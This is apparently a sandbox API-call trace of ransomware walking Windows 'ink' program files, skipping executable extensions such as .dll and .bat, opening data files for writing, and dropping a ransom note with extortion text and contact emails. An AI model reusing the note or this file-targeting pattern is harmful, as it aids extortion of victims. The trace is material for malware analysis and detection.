	[0078.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5c88 | out: hHeap=0x300000) returned 1
	[0078.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.574] RtlWakeConditionVariable () returned 0x365f70
	[0078.574] GetCurrentThreadId () returned 0x9cc
	[0078.574] GetCurrentThreadId () returned 0x9cc
	[0078.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6390 | out: hHeap=0x300000) returned 1
	[0078.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.574] lstrlenW (lpString=".scr") returned 4
	[0078.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".scr") returned 0x0
	[0078.574] lstrlenW (lpString=".cmd") returned 4
	[0078.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".cmd") returned 0x0
	[0078.574] lstrlenW (lpString=".dll") returned 4
	[0078.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".dll") returned 0x0
	[0078.574] lstrlenW (lpString=".bat") returned 4
	[0078.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".bat") returned 0x0
	[0078.574] lstrlenW (lpString=".cpl") returned 4
	[0078.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".cpl") returned 0x0
	[0078.574] lstrlenW (lpString=".sys") returned 4
	[0078.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".sys") returned 0x0
	[0078.575] lstrlenW (lpString=".msc") returned 4
	[0078.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".msc") returned 0x0
	[0078.575] lstrlenW (lpString=".com") returned 4
	[0078.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".com") returned 0x0
	[0078.575] lstrlenW (lpString=".lnk") returned 4
	[0078.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".lnk") returned 0x0
	[0078.575] lstrlenW (lpString=".msp") returned 4
	[0078.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".msp") returned 0x0
	[0078.575] lstrlenW (lpString=".pif") returned 4
	[0078.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch=".pif") returned 0x0
	[0078.575] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpSrch="msp\r\n.pif") returned 0x0
	[0078.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.575] RtlWakeConditionVariable () returned 0x365f70
	[0078.575] GetCurrentThreadId () returned 0x9cc
	[0078.575] GetCurrentThreadId () returned 0x9cc
	[0078.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6248 | out: hHeap=0x300000) returned 1
	[0078.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a63c8 | out: hHeap=0x300000) returned 1
	[0078.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6248
	[0078.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.607] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.607] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.609] CloseHandle (hObject=0x120) returned 1
	[0078.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6248 | out: hHeap=0x300000) returned 1
	[0078.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.609] RtlWakeConditionVariable () returned 0x365f70
	[0078.609] GetCurrentThreadId () returned 0x9cc
	[0078.609] GetCurrentThreadId () returned 0x9cc
	[0078.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b07d8
	[0078.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0ad0 | out: hHeap=0x300000) returned 1
	[0078.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6748 | out: hHeap=0x300000) returned 1
	[0078.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0ad0
	[0078.609] lstrlenW (lpString=".scr") returned 4
	[0078.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".scr") returned 0x0
	[0078.609] lstrlenW (lpString=".cmd") returned 4
	[0078.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".cmd") returned 0x0
	[0078.609] lstrlenW (lpString=".dll") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".dll") returned 0x0
	[0078.610] lstrlenW (lpString=".bat") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".bat") returned 0x0
	[0078.610] lstrlenW (lpString=".cpl") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".cpl") returned 0x0
	[0078.610] lstrlenW (lpString=".sys") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".sys") returned 0x0
	[0078.610] lstrlenW (lpString=".msc") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".msc") returned 0x0
	[0078.610] lstrlenW (lpString=".com") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".com") returned 0x0
	[0078.610] lstrlenW (lpString=".lnk") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".lnk") returned 0x0
	[0078.610] lstrlenW (lpString=".msp") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".msp") returned 0x0
	[0078.610] lstrlenW (lpString=".pif") returned 4
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch=".pif") returned 0x0
	[0078.610] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0ad0 | out: hHeap=0x300000) returned 1
	[0078.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
	[0078.617] RtlWakeConditionVariable () returned 0x365f70
	[0078.617] GetCurrentThreadId () returned 0x9cc
	[0078.617] GetCurrentThreadId () returned 0x9cc
	[0078.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b07d8
	[0078.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0c98 | out: hHeap=0x300000) returned 1
	[0078.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a67f0 | out: hHeap=0x300000) returned 1
	[0078.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0078.617] lstrlenW (lpString=".scr") returned 4
	[0078.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".scr") returned 0x0
	[0078.617] lstrlenW (lpString=".cmd") returned 4
	[0078.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".cmd") returned 0x0
	[0078.617] lstrlenW (lpString=".dll") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".dll") returned 0x0
	[0078.618] lstrlenW (lpString=".bat") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".bat") returned 0x0
	[0078.618] lstrlenW (lpString=".cpl") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".cpl") returned 0x0
	[0078.618] lstrlenW (lpString=".sys") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".sys") returned 0x0
	[0078.618] lstrlenW (lpString=".msc") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".msc") returned 0x0
	[0078.618] lstrlenW (lpString=".com") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".com") returned 0x0
	[0078.618] lstrlenW (lpString=".lnk") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".lnk") returned 0x0
	[0078.618] lstrlenW (lpString=".msp") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".msp") returned 0x0
	[0078.618] lstrlenW (lpString=".pif") returned 4
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch=".pif") returned 0x0
	[0078.618] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0c98 | out: hHeap=0x300000) returned 1
	[0078.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
	[0078.627] RtlWakeConditionVariable () returned 0x365f70
	[0078.627] GetCurrentThreadId () returned 0x9cc
	[0078.627] GetCurrentThreadId () returned 0x9cc
	[0078.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b07d8
	[0078.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0ef8 | out: hHeap=0x300000) returned 1
	[0078.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6928 | out: hHeap=0x300000) returned 1
	[0078.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0ef8
	[0078.627] lstrlenW (lpString=".scr") returned 4
	[0078.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".scr") returned 0x0
	[0078.627] lstrlenW (lpString=".cmd") returned 4
	[0078.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".cmd") returned 0x0
	[0078.627] lstrlenW (lpString=".dll") returned 4
	[0078.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".dll") returned 0x0
	[0078.627] lstrlenW (lpString=".bat") returned 4
	[0078.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".bat") returned 0x0
	[0078.627] lstrlenW (lpString=".cpl") returned 4
	[0078.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".cpl") returned 0x0
	[0078.628] lstrlenW (lpString=".sys") returned 4
	[0078.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".sys") returned 0x0
	[0078.628] lstrlenW (lpString=".msc") returned 4
	[0078.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".msc") returned 0x0
	[0078.628] lstrlenW (lpString=".com") returned 4
	[0078.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".com") returned 0x0
	[0078.628] lstrlenW (lpString=".lnk") returned 4
	[0078.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".lnk") returned 0x0
	[0078.628] lstrlenW (lpString=".msp") returned 4
	[0078.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".msp") returned 0x0
	[0078.628] lstrlenW (lpString=".pif") returned 4
	[0078.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch=".pif") returned 0x0
	[0078.628] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0ef8 | out: hHeap=0x300000) returned 1
	[0078.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
	[0078.643] RtlWakeConditionVariable () returned 0x365f70
	[0078.643] GetCurrentThreadId () returned 0x9cc
	[0078.643] GetCurrentThreadId () returned 0x9cc
	[0078.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b07d8
	[0078.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1288 | out: hHeap=0x300000) returned 1
	[0078.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ab0 | out: hHeap=0x300000) returned 1
	[0078.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1288
	[0078.643] lstrlenW (lpString=".scr") returned 4
	[0078.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll", lpSrch=".scr") returned 0x0
	[0078.643] lstrlenW (lpString=".cmd") returned 4
	[0078.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll", lpSrch=".cmd") returned 0x0
	[0078.643] lstrlenW (lpString=".dll") returned 4
	[0078.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll", lpSrch=".dll") returned=".dll"
	[0078.643] lstrlenW (lpString=".dll") returned 4
	[0078.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1288 | out: hHeap=0x300000) returned 1
	[0078.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
	[0078.644] RtlWakeConditionVariable () returned 0x365f70
	[0078.644] GetCurrentThreadId () returned 0x9cc
	[0078.644] GetCurrentThreadId () returned 0x9cc
	[0078.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b07d8
	[0078.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1320 | out: hHeap=0x300000) returned 1
	[0078.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ae8 | out: hHeap=0x300000) returned 1
	[0078.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1320
	[0078.644] lstrlenW (lpString=".scr") returned 4
	[0078.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".scr") returned 0x0
	[0078.644] lstrlenW (lpString=".cmd") returned 4
	[0078.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".cmd") returned 0x0
	[0078.644] lstrlenW (lpString=".dll") returned 4
	[0078.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".dll") returned 0x0
	[0078.644] lstrlenW (lpString=".bat") returned 4
	[0078.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".bat") returned 0x0
	[0078.644] lstrlenW (lpString=".cpl") returned 4
	[0078.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".cpl") returned 0x0
	[0078.644] lstrlenW (lpString=".sys") returned 4
	[0078.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".sys") returned 0x0
	[0078.644] lstrlenW (lpString=".msc") returned 4
	[0078.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".msc") returned 0x0
	[0078.644] lstrlenW (lpString=".com") returned 4
	[0078.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".com") returned 0x0
	[0078.644] lstrlenW (lpString=".lnk") returned 4
	[0078.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".lnk") returned 0x0
	[0078.645] lstrlenW (lpString=".msp") returned 4
	[0078.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".msp") returned 0x0
	[0078.645] lstrlenW (lpString=".pif") returned 4
	[0078.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch=".pif") returned 0x0
	[0078.645] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1320 | out: hHeap=0x300000) returned 1
	[0078.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
	[0078.656] RtlWakeConditionVariable () returned 0x365f70
	[0078.656] GetCurrentThreadId () returned 0x9cc
	[0078.656] GetCurrentThreadId () returned 0x9cc
	[0078.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b07d8
	[0078.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1580 | out: hHeap=0x300000) returned 1
	[0078.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6bc8 | out: hHeap=0x300000) returned 1
	[0078.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1580
	[0078.656] lstrlenW (lpString=".scr") returned 4
	[0078.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".scr") returned 0x0
	[0078.656] lstrlenW (lpString=".cmd") returned 4
	[0078.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".cmd") returned 0x0
	[0078.656] lstrlenW (lpString=".dll") returned 4
	[0078.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".dll") returned 0x0
	[0078.656] lstrlenW (lpString=".bat") returned 4
	[0078.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".bat") returned 0x0
	[0078.656] lstrlenW (lpString=".cpl") returned 4
	[0078.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".cpl") returned 0x0
	[0078.656] lstrlenW (lpString=".sys") returned 4
	[0078.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".sys") returned 0x0
	[0078.656] lstrlenW (lpString=".msc") returned 4
	[0078.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".msc") returned 0x0
	[0078.657] lstrlenW (lpString=".com") returned 4
	[0078.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".com") returned 0x0
	[0078.657] lstrlenW (lpString=".lnk") returned 4
	[0078.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".lnk") returned 0x0
	[0078.657] lstrlenW (lpString=".msp") returned 4
	[0078.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".msp") returned 0x0
	[0078.657] lstrlenW (lpString=".pif") returned 4
	[0078.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch=".pif") returned 0x0
	[0078.657] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1580 | out: hHeap=0x300000) returned 1
	[0078.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
	[0078.674] RtlWakeConditionVariable () returned 0x365f70
	[0078.674] GetCurrentThreadId () returned 0x9cc
	[0078.674] GetCurrentThreadId () returned 0x9cc
	[0078.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b07d8
	[0078.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1748 | out: hHeap=0x300000) returned 1
	[0078.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6d18 | out: hHeap=0x300000) returned 1
	[0078.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1748
	[0078.674] lstrlenW (lpString=".scr") returned 4
	[0078.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll", lpSrch=".scr") returned 0x0
	[0078.674] lstrlenW (lpString=".cmd") returned 4
	[0078.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll", lpSrch=".cmd") returned 0x0
	[0078.674] lstrlenW (lpString=".dll") returned 4
	[0078.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll", lpSrch=".dll") returned=".dll"
	[0078.674] lstrlenW (lpString=".dll") returned 4
	[0078.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1748 | out: hHeap=0x300000) returned 1
	[0078.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b07d8 | out: hHeap=0x300000) returned 1
